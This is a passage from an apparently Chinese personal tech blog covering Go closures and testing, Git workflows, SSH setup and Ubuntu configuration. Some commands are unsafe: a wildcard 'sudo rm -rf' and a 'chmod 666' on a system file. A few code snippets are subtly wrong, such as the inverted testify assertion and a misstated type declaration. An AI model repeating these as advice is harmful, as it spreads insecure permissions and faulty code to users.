		println(i)
	}
	i++
}
f() // 3

i 自加到 3 才会跳出循环，所以循环结束后 i 最后的值为 3。

所以用 for range 来实现这个例子就不会这样：

var dummy [3]int
var f func()
for i := range dummy {
	f = func() {
		println(i)
	}
}
f() // 2

这是因为 for range 和 for 底层实现上的不同。

第三个例子

var funcSlice []func()
for i := 0; i < 3; i++ {
	funcSlice = append(funcSlice, func() {
		println(i)
	})

}
for j := 0; j < 3; j++ {
	funcSlice[j]() // 3, 3, 3
}

输出序列为 3, 3, 3。

看了前面的例子之后这里就容易理解了：这三个函数引用的都是同一个变量（i）的地址，所以之后 i 递增，解引用得到的值也会递增，所以这三个函数都会输出 3。

添加输出地址的代码可以证明：

var funcSlice []func()
for i := 0; i < 3; i++ {
	println(&i) // 0xc0000ac1d0 0xc0000ac1d0 0xc0000ac1d0
	funcSlice = append(funcSlice, func() {
		println(&i)
	})

}
for j := 0; j < 3; j++ {
	funcSlice[j]() // 0xc0000ac1d0 0xc0000ac1d0 0xc0000ac1d0
}

可以看到三个函数引用的都是 i 的地址。

解决方法

1. 声明新变量：

声明新变量：j := i，且把之后对 i 的操作改为对 j 操作。
声明新同名变量：i := i。注意：这里短声明右边是外层作用域的 i，左边是新声明的作用域在这一层的 i。原理同上。

这相当于为这三个函数各声明一个变量，一共三个，这三个变量初始值分别对应循环中的 i 并且之后不会再改变。

2. 声明新匿名函数并传参：

var funcSlice []func()
for i := 0; i < 3; i++ {
	func(i int) {
		funcSlice = append(funcSlice, func() {
			println(i)
		})
	}(i)

}
for j := 0; j < 3; j++ {
	funcSlice[j]() // 0, 1, 2
}

现在 println(i) 使用的 i 是通过函数参数传递进来的，并且 Go 语言的函数参数是按值传递的。

所以相当于在这个新的匿名函数内声明了三个变量，被三个闭包函数独立引用。原理跟第一种方法是一样的。

这里的解决方法可以用在大多数跟闭包引用有关的问题上，不局限于第三个例子。

参考链接

Go 语言圣经 - 匿名函数

Go 语言的 4 个特性改动

Thu, 14 Feb 2019 14:11:27 GMT

在 Go1.1 可以看到某个版本的 Go 语言一些改动文档（修改 URL 参数查看别的版本）。

其中以 Go1.1#language 标签下关于语言特性方面的尤为重要。

在每个 Go 语言新版本发布后浏览一下，是个良好的习惯。

下面我会从 Go1.1 到 Go1.11 以来挑 4 个值得讨论的改动来跟大家分享一下。

三索引切片

版本: Go1.2

在现有数组或切片下，使用第二个冒号来指示新生成的切片的容量。

func TestThreeIndex(t *testing.T) {
	s := [10]int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
	s1 := s[2:4]            // 等价于 s[2:4:cap(s)]，省略取 cap(s)。
	t.Log(s1)               // [2, 3]
	t.Log(len(s1), cap(s1)) // len = 2, cap = 8
	// 可以访问在 cap 以内的元素并且如果访问在 len 和 cap 之间的元素就可以访问到底层数组。
	t.Log(s1[0:7]) // [2, 3, 4, 5, 6, 7, 8, 9]

	// 通过限制 cap 从而限制新的切片访问底层数组的能力。
	// cap 取值必须小于或等于底层数组 cap。
	s2 := s[2:4:7] // cap = 7 - 2 = 5
	t.Log(s2) // [2, 3]
	t.Log(len(s2), cap(s2)) // len = 2, cap = 5
	t.Log(s2[0:5]) // [2, 3, 4, 5, 6]
	// error: slice bounds out of range
	// 越界
	t.Log(s2[0:7])
}

for range 简便写法

版本：Go1.4

for range 不需要索引和索引对应的元素值的简便写法。

不需要索引。

for _, v := range s {
	t.Log(v)
}

不需要索引对应的值。

for i := range s {
	t.Log(i)
}

（Go1.4新增）不需要索引和索引对应的值，单纯地把容器类型元素的个数作为迭代的次数。

for range s {
	...
}

结构体类型转换忽略标签

版本：Go1.8

结构体类型转换时，标签会被忽略。也就是说，标签不同的结构体之间也可以互相转换类型。

注意：正常情况下（没有标签）的结构体类型之间的转换只有字段名、类型和声明的顺序全部相同才合法。

type T1 struct {
	X int `json:"foo"`
}
type T2 struct {
	X int `json:"bar"`
}
var v1 T1
var v2 T2
v1 = T1(v2) // 现在是合法的

类型别名

版本：Go1.9

类型别名：T1 完全是 T2 这个类型，这个新设计是为了重构和兼容旧代码。

type T1 = T2

类型声明：T1 的底层数据类型是 T1。

type T1 T2

一个简单的区别就是：类型声明和底层类型赋值时需要转换，而类型别名不需要。

参考链接

Go Doc

了解 Go 1.9 的类型别名

【转】Google 技术面试经验总结

Wed, 23 Jan 2019 10:45:49 GMT

古人云：取乎其上，得乎其中；取乎其中，得乎其下；取乎其下，则无所得矣。

面试流程

在线评定：一到两个算法题，通过分享 Google Docs 链接的方式来让你输入代码。
电话面试：共有两轮，一轮一个工程师打电话，也是通过分享链接的方式。
现场面试：邀请到 Google 办公室，面试一天，大概 4 轮，包含算法和系统设计。

技巧

练习在 Google Docs 或白板上写代码或者手写代码
练习在有时间限制的情况下编写代码

一轮大概有 45 分钟:
1. 5 分钟：介绍自己或简历
2. 5-10 分钟：思考题目
3. 20-25 分钟：编写代码
4. 5 分钟：测试
练习一边写代码一边跟面试官讲解思路

这样在思路不是很顺畅的时候可以得到提示，不能不说话。
练习人工测试代码

写完后把代码放在脑子里过一遍。
练习编写边界条件测试
1. 预期的输入
2. 空输入
3. 空指针输入
4. 异常输入
5. 大输入
6. 其他边界条件
例子: 反转链表（leetcode-206-反转链表）
1. 常规情况: 带有 5 个元素的正常链表
2. 边界条件:
  - 1 个元素的链表
  - 0 个元素的链表
  - 空指针
  - 长链表
3. 特殊情况: 有环的链表
澄清面试官的问题

例子: 正则表达式匹配 (leetcode-10-正则表达式匹配)

应该问的问题:
1. 输入只有字母吗？
2. 输入包含点号和星号吗？
3. 匹配字符串是格式良好的吗？
从简单的暴力实现开始

例子: 搜索二维矩阵 (leetcode-240-搜索二维矩阵II)
计算每一个算法的时间复杂度和空间复杂度

期待

代码的正确性
代码的质量
手写代码的话字迹要清晰

参考链接

本文总结自视频 Google谷歌技术面试经验分享 | Google软件工程师 | StyleInBeta

Go 语言单元测试实践

Mon, 10 Dec 2018 02:34:40 GMT

什么是软件测试？

软件测试是一个过程，该过程对软件（计算机程序）进行各种操作来发现软件错误。

为什么要进行软件测试？

进行软件测试可以帮助我们验证软件的各种功能正常，保证软件的正常工作从而提高软件质量。并且在实践中已被证明是颇有成效的。

测试驱动开发的由来：

一个从大量实践中得出的结论：人们发现在软件开发周期中，软件错误每进入到下一个阶段要修正它所付出的时间和人力会出人意表的翻上十倍。所以更早地进行软件测试可以更早地发现软件错误，从而大大减少后期修正的成本。后来又有人提出了 测试驱动开发（TDD: Test-driven development），主体思想就是先编写测试程序，再实现程序功能。

下面就来介绍如何在 Go 语言中进行软件测试中较为重要的一环：单元测试。

单元测试简介

单元测试就是针对程序最小单元的测试。

最小单元在过程化编程中指的是函数；在面向对象编程中指的是方法。

Go 语言对软件测试的支持

testing 包：标准库中一个简单、强大的测试框架。
go test 命令：go tool 中一个按照约定和组织的测试代码的命令。

规定（必须遵循的条例）

只有以 _test.go 结尾的文件才会被视作是测试文件。如：swap_test.go。
测试函数命名必须以 Test 开头，而后紧接着的第一个字母必须大写。如：TestSwap。
测试函数必须传入一个指向 testing.T 或 testing.B（基准测试）的指针作为参数。如：func TestSwap(t *testing.T)，且没有返回值。

建议（最佳方法实践条例）

将测试文件和要测试的代码放在同一个包（Go 语言组织也建议包名和文件所在目录名相同）。也就是说将这两个文件的 package xxx 写成相同的。
将测试文件命名为 要测试的代码文件名_test.go。如：util.go 的测试文件名应为 util_test.go。
将测试函数命名为 Test要测试的函数名称。如：Swap 函数的测试函数命名应为 TestSwap，这个函数应只包含测试 Swap 函数的内容。

Go 语言单元测试实践

示例函数说明

这里有一个用 Go 语言编写的 Swap 函数（交换切片中的两个值）：

文件名：swap.go。
包名：swap。
测试文件名：swap_test.go。
测试文件包名：swap。

这两个文件都放在 $GOPATH/src/swap/ 目录下。

测试整个包: go test swap。swap 为基于 $GOPATH/src/ 的相对目录。
测试单个测试函数: go test swap -run TestSwap。swap 同样为相对目录，TestSwap 为测试函数名。

下面会展示如何为这个 Swap 函数编写单元测试、将单元测试改写成表驱动测试的形式并显示代码的测试覆盖率。

示例函数代码

package swap

import (
	"errors"
)

// Swap exchanges s[i] and s[j].
func Swap(s []interface{}, i, j int) error {
	if s == nil {
		return errors.New("slice can't be nil")
	}
	if (i < 0 || i >= len(s)) || (j < 0 || j >= len(s)) {
		return errors.New("illegal index")
	}

	s[i], s[j] = s[j], s[i]

	return nil
}

// IsSameSlice determines two slice is it the same.
func IsSameSlice(a, b []interface{}) bool {
	if len(a) != len(b) {
		return false
	}
	if (a == nil) != (b == nil) {
		return false
	}

	for i, v := range a {
		if b[i] != v {
			return false
		}
	}

	return true
}

单元测试示例

package swap

import (
	"testing"
)

func TestSwap(t *testing.T) {
	input1 := []interface{}{1, 2}
	i1 := 0
	j1 := 1
	want1 := []interface{}{2, 1}
	if err := Swap(input1, i1, j1); err != nil {
		t.Error(err)
	}

	if !IsSameSlice(input1, want1) {
		t.Errorf("got %v, want %v", input1, want1)
	}

	input2 := []interface{}{1, 'a', "aa"}
	i2 := 0
	j2 := 2
	want2 := []interface{}{"aa", 'a', 1}
	if err := Swap(input2, i2, j2); err != nil {
		t.Error(err)
	}

	if !IsSameSlice(input2, want2) {
		t.Errorf("got %v, want %v", input2, want2)
	}
}

这段代码就是为 Swap 编写的简单单元测试，可以看出，如果测试数据变多，代码就会有很多冗余。这种问题的一个有效地解决方法就是 用表驱动测试来实现单元测试。

表驱动测试示例

表驱动测试是单元测试的一种形式，通过把测试条件都写在一张表里，就可以动态地添加测试数据而不用改动太多代码。

package swap

import (
	"testing"
)

func TestSwap(t *testing.T) {
	tests := []struct {
		input []interface{}
		i     int
		j     int
		want  []interface{}
	}{
		{[]interface{}{1, 2}, 0, 1, []interface{}{2, 1}},
		{[]interface{}{1, 'a', "aa"}, 0, 2, []interface{}{"aa", 'a', 1}},
	}
	for i, tt := range tests {
		if err := Swap(tt.input, tt.i, tt.j); err != nil {
			t.Error(err)
		}

		if !IsSameSlice(tt.input, tt.want) {
			t.Errorf("%v. got %v, want %v", i, tt.input, tt.want)
		}
	}
}

查看测试覆盖率

测试覆盖率就是测试运行到的被测试代码的代码数目。其中以语句的覆盖率最为简单和广泛，语句的覆盖率指的是* 在测试中至少被运行一次的代码占总代码数的比例*。

使用 go tool cover 命令来查看有关测试覆盖率命令行的帮助。

注意：首先必须保证测试是能够通过的。

测试整个包: go test -cover=true swap。
测试单个测试函数: go test -cover=true swap -run TestSwap。

-cover=true 选项会开启覆盖率说明。

生成 HTML 报告

前面展示的都是命令行下的报告，不够直观。

其实 go tool cover 支持更友好的输出，如：HTML 报告。

go test -cover=true swap -coverprofile=out.out 将在当前目录生成覆盖率数据。

配合 go tool cover -html=out.out 在浏览器中打开 HTML 报告。

或者使用 go tool cover -html=out.out -o=out.html 生成 HTML 文件。

第三方测试框架

一般情况下，Go 语言标准库对测试的支持已足够强大。但是也有许多第三方的库提供了各种各样的功能。这里只介绍两个使用广泛的库和其主要功能。

使用 testify 包简化测试代码

安装：go get -u github.com/stretchr/testify。

testify 提供 assert、mock、http 三个包进行更多样的测试。下面用其中的 assert 包改写前面的例子。

package swap

import (
	"github.com/stretchr/testify/assert"
	"testing"
)

func TestSwap(t *testing.T) {
	input1 := []interface{}{1, 2}
	i1 := 0
	j1 := 1
	want1 := []interface{}{2, 1}
	if assert.Nil(t, Swap(input1, i1, j1)) {
		t.FailNow()
	}

	assert.Equal(t, input1, want1)

	input2 := []interface{}{1, 'a', "aa"}
	i2 := 0
	j2 := 2
	want2 := []interface{}{"aa", 'a', 1}
	if assert.Nil(t, Swap(input2, i2, j2)) {
		t.FailNow()
	}

	assert.Equal(t, input2, want2)
}

使用 gotests 生成测试代码

安装：go get -u github.com/cweill/gotests。

gotests 可以为程序生成表驱动测试，在生成之后再添加测试数据即可完成测试代码的编写。

使用命令：gotests -all -w go/src/swap/swap.go 即可生成关于 swap.go 文件中所有函数的表驱动测试形式的单元测试，包含在与 swap.go 同目录下的 swap_test.go 文件中。

package swap

import "testing"

func TestSwap(t *testing.T) {
	type args struct {
		s []interface{}
		i int
		j int
	}
	tests := []struct {
		name    string
		args    args
		wantErr bool
	}{
		// TODO: Add test cases.
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if err := Swap(tt.args.s, tt.args.i, tt.args.j); (err != nil) != tt.wantErr {
				t.Errorf("Swap() error = %v, wantErr %v", err, tt.wantErr)
			}
		})
	}
}

上面就是运行命令之后生成的代码。在 TODO 中添加测试数据即可。

package swap

import "testing"

func TestSwap(t *testing.T) {
	type args struct {
		s []interface{}
		i int
		j int
	}
	tests := []struct {
		name    string
		args    args
		wantErr bool
	}{
		{"1", args{[]interface{}{1, 2}, 0, 1}, false},
		{"2", args{[]interface{}{1, 'a', "aa"}, 0, 2}, false},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if err := Swap(tt.args.s, tt.args.i, tt.args.j); (err != nil) != tt.wantErr {
				t.Errorf("Swap() error = %v, wantErr %v", err, tt.wantErr)
			}
		})
	}
}

可以看出这里并没有测试交换后的值是否正确，说明 gotests 的代码会根据返回值生成，也说明了 gotests 对某些函数来说是不适用的或者说是需要手动修改的。

参考链接

Go 单元测试

Go 语言实战笔记（二十一）| Go 单元测试

你好，Hacktoberfest！

Sat, 13 Oct 2018 10:23:49 GMT

什么是 Hacktoberfest？这个词由 Hack、October、Festival 组成，是一项提倡开源精神的活动。今年，也就是 2018年由 DigtialOcean、Github 和 Twilio 三家公司合作举办。活动内容为：只要你在 10月1日至 10月31日之间为任何 GitHub 仓库发起了 5 个PR（Pull Request）就可以获得一件免费的纪念 T-Shirt 和一些贴纸。

在 Hacktoberfest 报名

打开 Hacktoberfest 后，点击中间的 Start Hacking 报名。

然后点击 Register Now 注册。

注意：必须使用在这里注册用到的 GitHub 帐号发起 PR 才会计入总数。

之后会要求你填写姓名和邮箱，这是用来和你联系来发送奖品的，请务必认真填写。

什么样的 PR 才计入？

任何在 GitHub 上的公开仓库发起的，Hacktoberfest 标签可有可无。
只要发起了就计入，就算没被合并。
没有被标记成垃圾邮件、无关紧要或无效。
在 10月1日至 10月31日之间发起的，无论你在什么时候注册。也就是说注册之前的发起的也算。

想要跟踪进度和查看具体计入情况可以在注册后在主页点击 Check Your Progress。

如何开始发起 PR

根据 Hacktoberfest 的价值观和你对开源活动的了解程度可以大致分为以下三类：

如果你是专业的开源专家，或者编程水平高超，你可以提交一些有质量的有挑战性的 PR。例如：优化某个算法、编写新的功能。
如果你是刚刚开始了解开源的新手，你可以做一些你力所能及的工作。例如：翻译文档、修改错字。

以上两类都可以通过在你熟悉的仓库发起 PR 或者利用 GitHub 的高级搜索查找带有 hacktoberfest 标签的 Issues。查找带有 hacktoberfest 标签的开放的 Issues。

如果你对编程一窍不通，不懂得 Git 和发起 PR 或者实在没有时间只是想拿一件纪念 T-Shirt，也有一些仓库会一步步指导你快速完成 5个 PR 的任务。例如：在注册后跟踪进度的页面右下角会有一个 Highest Pull Request Count Repos，这些都是一些比较容易就可以发起 PR 的仓库。

这里也有一些网站可以帮你找到你感兴趣的仓库：

Up For Grabs

First Timers Only

Awesome For Beginners

First Contributions

参考链接

Hacktoberfest 2018：貢獻開源專案拿免費 T-Shirt

Hackoberfest 2018 ﹣ 面向所有人群的開源社區最大活動

将 GoDaddy 域名转移到 NameSilo

Fri, 07 Sep 2018 10:07:26 GMT

很多新手玩家购买的第一个域名都来自 GoDaddy。它名气大、客户众多。

然而作为国外知名的域名商，GoDaddy 的域名注册费用极其便宜诱人，但是续费相当昂贵。

WHOIS 的隐私保护也要额外费用。

非但如此，这个域名商还有许多千奇百怪的优惠规则，相信很多人都有过四处搜索优惠码的经历。

相比之下，NameSilo 价格稳定便宜，无特殊优惠，续费与首年购买价格一致；永久免费的 WHOIS 隐私保护；支持支付宝。

如果能够忍受 NameSilo 官网无中文、界面难看的话，那么从 GoDaddy 域名转移到 NameSilo 的理由就已经很充分。

注意：

域名转移需要支付 8.39美元的费用（自动续费一年）。
要转移的域名如果在 60天内有过修改信息、续费等操作的话是无法转移的。

操作的前置说明

接下来的跟 GoDaddy 有关的步骤均从 GoDaddy 的新加坡分站开始。

与 NameSilo 有关的步骤均从 NameSilo 官网开始。

解锁域名

GoDaddy -> 左上角用户头像 -> 快速链接中的管理域名

然后在锁定一栏点击编辑修改。

发送转移请求

GoDaddy -> 左上角用户头像 -> 点击我的产品 -> 找到你要转移的域名点击右边的管理 -> 拉到最下面点击从 GoDaddy 转移域名 -> 随便填填一直下一步

获取授权码

一般情况下在进行了上一步操作后邮箱中已经有了包含授权码的邮件。如果没有受到可以点击在从 GoDaddy 转移域名下面的获取授权码发送。

填写授权码

NameSilo -> 点击 transfer -> 填好域名后点击 SEARCH -> 填入授权码后点击 TRANSFER

之后在生成的账单进行相关选择后点击 CONTINUE -> 填写支付宝邮箱地址生成支付宝支付页面 -> 邮箱会收到相关账单

确认转出

GoDaddy -> 左上角用户头像 -> 快速链接中的管理域名 -> 域名菜单栏下的域名迁移

然后在打开的界面左边找到待转出 -> 勾选后选择接受

等待响应邮件

转移花费的时间为 24到48小时，需要耐心等待。

成功的话会发送一封邮件到你的邮箱，点击 Yes, I approve. 回复即可。

又需等待 12到24小时。

完成域名转移

在邮箱里发现 GoDaddy 和 NameSilo 的几封邮件都祝贺你已经完成域名转移。

参考链接

从Godaddy 转移域名到 Namesilo

Namesilo 域名购买及使用教程

如何使用 GitHub Flow 给开源项目贡献代码

Wed, 11 Jul 2018 08:57:19 GMT

GitHub 是什么？

GitHub 是通过 Git 进行版本控制的软件源代码托管服务。截止到 2015年，GitHub 已经有超过 2800 万注册用户和 7900 万代码库。事实上已经成为了世界上最大的代码存放网站和开源社区。

所以，如果你想要给开源项目贡献代码或者翻译文档，学会如何使用 GitHub 来正确地贡献代码是必不可少的。

准备工作

关于 git 的基本操作。
GitHub 网站的账户。
将示例仓库 https://github.com/golang/go 记录在某处。
这里我们假设你的用户名为 yourname。

复制（fork）一个仓库的副本

打开示例仓库的 URL，在右上角点击 Fork 按钮后，开始等待完成。

等待的时间视仓库的大小而定。

在 fork 完成后，你应该可以在你自己的 GitHub 仓库看到同名的一个项目。

它的 URL 应该为：https://github.com/yourname/go。

发现了吗？这里 URL 的变化只不过是将原本的 golang 替换成了 yourname。

这个 fork 后的项目是你自己可以随意修改而不会影响到真正的 go 项目的。下面我们把它称之为副本仓库。

在没有示例仓库的 push 权限的情况下，想要做出的修改能够反映到示例仓库，也就是原始仓库，还需要做接下来的一些操作。

克隆（clone）副本仓库到本地

把你 fork 后的副本仓库 clone 到本地。

git clone https://github.com/yourname/go go # clone 到本地的 go 目录

使用分支（branch）

进入仓库目录后，可以使用如下命令创建并切换到 test 分支。

git checkout -b test # 创建并切换到 test 分支

在本地仓库提交（commit）

在这个 test 分支下经过一些修改后，你需要提交这些修改到本地仓库。

可以使用相关命令：

git add -A # 添加所有文件
git commit -m 'Add test' # 提交 commit

先别急着 push，我们还有个大问题要解决。

跟原始仓库（upstream）合并

前面已经说过，在副本仓库做的修改是不会影响到原始仓库的。同样，在原始仓库的更新也不会反映到副本仓库来。

在 GitHub，如果你副本仓库的进度落后于原始仓库还坚持发起 Pull Request，后果只会是被拒绝。

那么问题来了，我们应该如何同步原始仓库的更新呢？

答案是：区别于 origin，它是用来向副本仓库提交更新的远程仓库；我们添加一个 upstream，也被称为 上游 是专门用来同步原始仓库更新的远程仓库。

在默认情况下，在你 clone 后的仓库目录里，git 已经自动将 origin 和你的副本仓库关联在一起了，也就是 https://github.com/yourname/go。

你可以通过如下命令查看。

git remote -vv # 两个 verbose 参数查看远程仓库

然后，通过如下命令添加这个 upstream，使用这个名字只是约定俗成，你可以用你觉得更好的名字来替换它。

git remote add upstream git@github.com:golang/go.git # 添加 upstream 远程仓库

现在，我们假设在做出修改后，上游（upstream）已经更新了很多提交。

此时如果对上游的变化视而不见，强行 push 并发起 Pull Request 还是会被拒绝。

可以通过如下命令拉取并合并上游的更新：

git checkout master # 切换到默认存在的 master 分支
git pull --rebase upstream master:master # 使用 rebase 模式拉取 upstream/master 上的更新
# 且与本地的 master 合并。第一个 master 是远程分支，第二个是本地分支。
git checkout test # 切换到前面建立的 test 分支
git rebase master # 使用 rebase 模式合并本地的 test 和 master 分支

也可以通过另一种方式：

git checkout master # 切换到 master 分支
git fetch upstream master # 获取 upstream 上的 master 分支
git checkout test
git rebase upstream/master # 使用 rebase 模式合并本地的 test 和 upstream/master 分支

总的来说，可以把本地的 master 分支当作一个只负责从上游获取更新的分支，所有本地的改动都不会直接在 master 上面进行。

而是先将上游的 master 和本地的 master 合并，此时，本地的 master 是上游的最新版本；

再通过合并 test 和本地的 master 来完成本地改动的更新。整个过程在未开始合并之前，你的代码更新应该只会出现在 test 分支上。

注意：在使用 git rebase 相关的命令时，需要谨慎应用在已经提交的更新或远程仓库上。

推送（push）到副本仓库

现在，我们已经完成代码的修改、上游的同步更新并且完成了合并。

接下来应该将代码 push 到副本仓库。

git push origin test # 将本地 test 分支的代码 push 到 origin 的 test 分支
# 如果该分支不存在则会创建

这个 push 只会更新副本仓库，并不会影响到原始仓库。

要将代码贡献到原始仓库，还要发起 Pull Request。

发起合并请求（Pull Request）

现代的 GitHub 网站已经为我们发起 Pull Request 做了大多数的幕后工作。下面分别说明两种方法：

在 push 代码后，直接登录到 GitHub 网站，它会智能识别并弹出按钮 Compare & pull request，点击后填写一些信息即可发起。
还有一种方式，在副本仓库的页面点击你更新的分支，再点击 New pull Request。

出现如下界面：

再点击 Create pull request 后填写一些信息即可。

接下来，原始项目的相关负责人就会**审查（review）**你的提交，并决定是通过还是拒绝。

当你的提交有问题时，负责人还会让你做出一些修改才给予通过。
当你发现想要对其贡献代码的开源项目已经很久没有更新时，需要谨慎一些。否则会发现在你发起 Pull Request 后无人理会，做了许多无谓的工作。发生这种情况可能是负责人已经放弃了这个项目。

至此，我们已经完成使用 GitHub Flow 向开源项目贡献代码的全部步骤。

参考链接

Git 工作流程

如何在 Github 给开源项目贡献代码

解决 Ubuntu 上搜狗拼音候选字的乱码错误

Tue, 13 Mar 2018 12:00:23 GMT

在 Ubuntu 上使用搜狗拼音输入法，有时候会出现了候选词都变成不知名编码的错误。

下面列出两个在网上搜索可用的解决方法。

方法一：修改 fctix 有关配置

打开 fctix 配置界面。

fcitx-config-gtk3

在出现的界面里，最下面的工具栏里共有 6 个小图标，打开第 5 个。

把键盘布局（keyboard layout）修改为汉语（chinese），然后注销重新登录即可。

方法二：删除一些有关文件

删除 ~/.config/ 下的几个关于搜狗拼音输入法的文件。

sudo rm -rf SogouPY* sogou*

删除后注销重新登录即可。

这个方法似乎并不能完全解决问题。

GitHub 多账户设置

Tue, 13 Mar 2018 03:35:41 GMT

我的两个 GitHub 账户分别为主账户（参与开源项目和自己的代码）和副账户（更新 Hexo 博客）。

本文会介绍在拥有多个 GitHub 账号的时候，如何通过配置 SSH 文件来让各个账户正常工作且不发生冲突。

生成 SSH

由于不同的 GitHub 不能使用同一个 SSH 公钥，所以要生成两个不同的 SSH 分别对应两个主账户和副账户。

Ubuntu 生成 SSH 的命令如下：

ssh-keygen -t rsa -f ~/.ssh/id_rsa_blog -C "blogemail@gmail.com"
ssh-keygen -t rsa -f ~/.ssh/id_rsa -C "mainemail@gmail.com"

-f 选项指定生成钥匙对的文件名。

正确操作后目录 .ssh/ 下应该是这样的：

SSH 配置

编辑 ~/.ssh/config SSH 配置文件，没有该文件则新建。

# mainemail@gmail.com
Host github-main.com
HostName github.com
User git
IdentityFile ~/.ssh/id_rsa

# blogemail@gmail.com
Host github-blog.com
HostName github.com
User git
IdentityFile ~/.ssh/id_rsa_blog

然后，以后使用 main 账户添加远程仓库需要这样添加：

git remote add origin git@github-main.com:username/demo.git

类似，使用 blog 账户时是这样：

git remote add origin git@github-blog.com:username/demo.git

而非原来的：

git remote add origin git@github.com:username/demo.git

测试是否配置成功

部署相应的 SSH 公钥到 GitHub 后，尝试在相应的本地仓库 git push 几个文件测试。

在 Ubuntu 上安装 Nvidia 专有驱动

Fri, 09 Mar 2018 03:44:23 GMT

对比各类操作系统对显卡驱动程序的支持，Windows 使用广泛并且作为最多游戏玩家的平台，驱动厂商自然会优先适配。

macOS 作为苹果公司专用的操作系统，驱动厂商也会开发定制化的驱动程序，可以更好地利用硬件。

至于主要面对服务器领域的 Linux，对显卡性能的诉求自然没另外两种操作系统强烈。所以就造成了有些使用 Linux 作为桌面操作系统的用户出现了诸多关于显卡驱动或别的硬件驱动的问题。

在如今笔记本电脑很大一部分是双显卡设计的时代，这种设计在 Linux 上在并没有被驱动厂商完美的解决。开源驱动有着这样或那样的问题。从而出现了诸多例如黑屏、卡死等问题。还有双显卡同时运行时，发热过量的问题。

值得庆幸的是，这样的问题可以通过禁用开源驱动，安装 Nvidia 专有驱动并且安装双显卡切换器来缓解。虽然不能完美解决，但也聊胜于无。

禁用开源驱动 nouveau

sudo chmod 666 /etc/modprobe.d/blacklist.conf  # 改文件权限
sudo vim /etc/modprobe.d/blacklist.conf   # 修改文件

在文件最后新添加一行 blacklist nouveau 保存关闭。

安装双显卡切换器 prime-indicator

sudo add-apt-repository ppa:nilarimogard/webupd8    # 添加 PPA 更新源
sudo apt-get update    # 更新源列表
sudo apt-get install prime-indicator    # 安装 prime-indicator

安装成功后可以通过 nvidia-settings 打开图形化界面在 PRIME Profiles 选项卡进行切换：

或者，通过如下命令查看命令行选项然后直接进行切换：

prime-select

安装 Ubuntu 推荐的驱动版本

查看自己的 Ubuntu 系统设置 -> 软件和更新 -> 附加驱动。记录下 Ubuntu 推荐你安装的驱动版本，我这里是 nvidia-390。

使用快捷键 Ctrl+Alt+F1 进入文字命令界面，输入如下命令。

sudo service lightdm stop    # 关闭图形系统
sudo apt-get install nvidia-390    # 通过官方源安装驱动，我这里是 390
sudo service lightdm start    # 启动图形系统

验证是否安装成功

nvidia-settings # 打开 Nvidia 设置
nvidia-smi # 显示驱动信息

输入这两个命令，能正常看到信息就说明安装成功了。

Hexo 博客的备份和恢复

Sat, 03 Feb 2018 14:08:50 GMT

在使用 Hexo 和 GitHub 组合进行博客写作时，有些时候会希望能够多平台工作或者备份数据。

我们可以通过在 GitHub 设置两个分支，将 Hexo 生成的静态文件和 Hexo 源文件区分开来，这样就可以实现多平台工作或者备份数据。

分支设置

建立两个分支，分别是 master 分支和 hexo 分支。并且在 GitHub 上将 hexo 分支设置为默认分支。

两个分支的功能分别如下：

master 分支用于保存 Hexo 生成的静态文件。
hexo 分支用于保存 Hexo 源文件。

建立这两个分支后，需要修改 _config.yml 里面的 deploy 选项来正常运行。这里直接给出我的相关设置代码：

deploy:
- type: git
  repo:
    github: git@github.com:sulinehkblog/sulinehkblog.github.io.git
  branch: master

注意：yaml 格式要求相当严格。例如冒号后需要紧接一个空格，否则会出错。

安全和便利设置

在安全方面，在将 Hexo 本身上传到 GitHub 上时，默认会将所有的文件一起上传，包括类似 Google Analytics、Google Adsense 和百度统计有关的密码。这些密码通常保存在 Hexo 目录下的 _config.yml 或主题目录下的同名文件中。

在便利方面，上传 node_modules 目录下的诸多插件文件不太合适。因为这个目录下的文件只要有 package.json 文件就可以通过在当前目录执行 npm install 进行恢复。

上述问题都可以通过修改 .gitignore 文件，忽略上传某些文件来解决。.gitignore 文件的书写方式在这里可以学习更多忽略特殊文件 - 廖雪峰的官方网站，这里也给出我的文件内容和相关注释。

# 静态文件
public/
# node 插件文件
node_modules/
# json 文件
/package-lock.json
/db.json
# 包含密码的配置文件
/_config.yml
/themes/next/_config.yml

还需要把 /_config.yml 和 /themes/next/_config.yml 两个文件加密保存起来才能够达到完全备份的目的。使用 zip 加密压缩是个不错的选择。

日常操作的改变

将 Hexo 生成的静态文件和 Hexo 源文件区分开后，日常的操作会多出一些步骤。

下面通过展示新添加一个 post 的全部操作来说明：

hexo new post 'testpost' # 或者直接在 source/_posts/ 目录下新建 Markdown 文档
git status # 查看 git 仓库的变化
git add . # 添加全部修改到寄存区
git commit -m 'changed' # 提交
git push origin hexo # 推送到远程仓库的 hexo 分支

以上只是完成了 Hexo 源文件的备份，下面跟正常的操作类似，将静态文件部署：

hexo clean # 清理缓存
hexo g # 生成静态文件
hexo d # 部署（跟 _config.yml 文件中的 deploy 选项相关）

至此就完成了新建一个 post 的操作。

你可以编写一个 Shell 脚本来简化这个过程。

Hexo 博客恢复步骤

本地的 Hexo 文件因为某些原因丢失后，经过上面的备份处理，就可以很简单的进行恢复。下面的操作假设你已经安装好了 git、nodejs、npm、hexo 等工具。

git clone git@github.com:example/example.github.io.git hexo # 直接克隆远程仓库
cd hexo # 进入克隆后的目录
unzip _config.zip # 解压前面加密保存好的两个配置文件并移动到原来的位置
npm install # 利用 package.json 文件安装相关插件

以上便完成了恢复的工作。

在 Ubuntu 上设置 Redshift 减少蓝光

Thu, 01 Feb 2018 21:39:56 GMT

Redshift 这个软件可以根据经纬度信息自动判断当前所在位置，然后在白天和夜晚使用不同的色温来减少蓝光保护眼睛。

在 Ubuntu 上，Ubuntu 17.10 版本已经有了类似的功能，但 Ubuntu 16.04 LTS 版及旧版本还未集成。

安装

这个软件在官方源就有，直接下载安装。

sudo apt-get install gtk-redshift redshift python-appindicator

安装完成之后，输入 redshift-gtk 或在 Unity 里面搜索 redshift 打开。

打开后会在右上角出现图标，右键选择 Autostart，也就是自动启动。

设置

获取经纬度信息

打开百度地图拾取坐标系统，选择自己所在的地区得到经纬度信息。

修改配置文件

在主目录下新建一个文件并编辑 .config/redshift.conf。

粘贴下面内容。

; Global settings for redshift
[redshift]
; Set the day and night screen temperatures
temp-day=5500
temp-night=4500

; Enable/Disable a smooth transition between day and night
; 0 will cause a direct change from day to night screen temperature.
; 1 will gradually increase or decrease the screen temperature.
transition=1

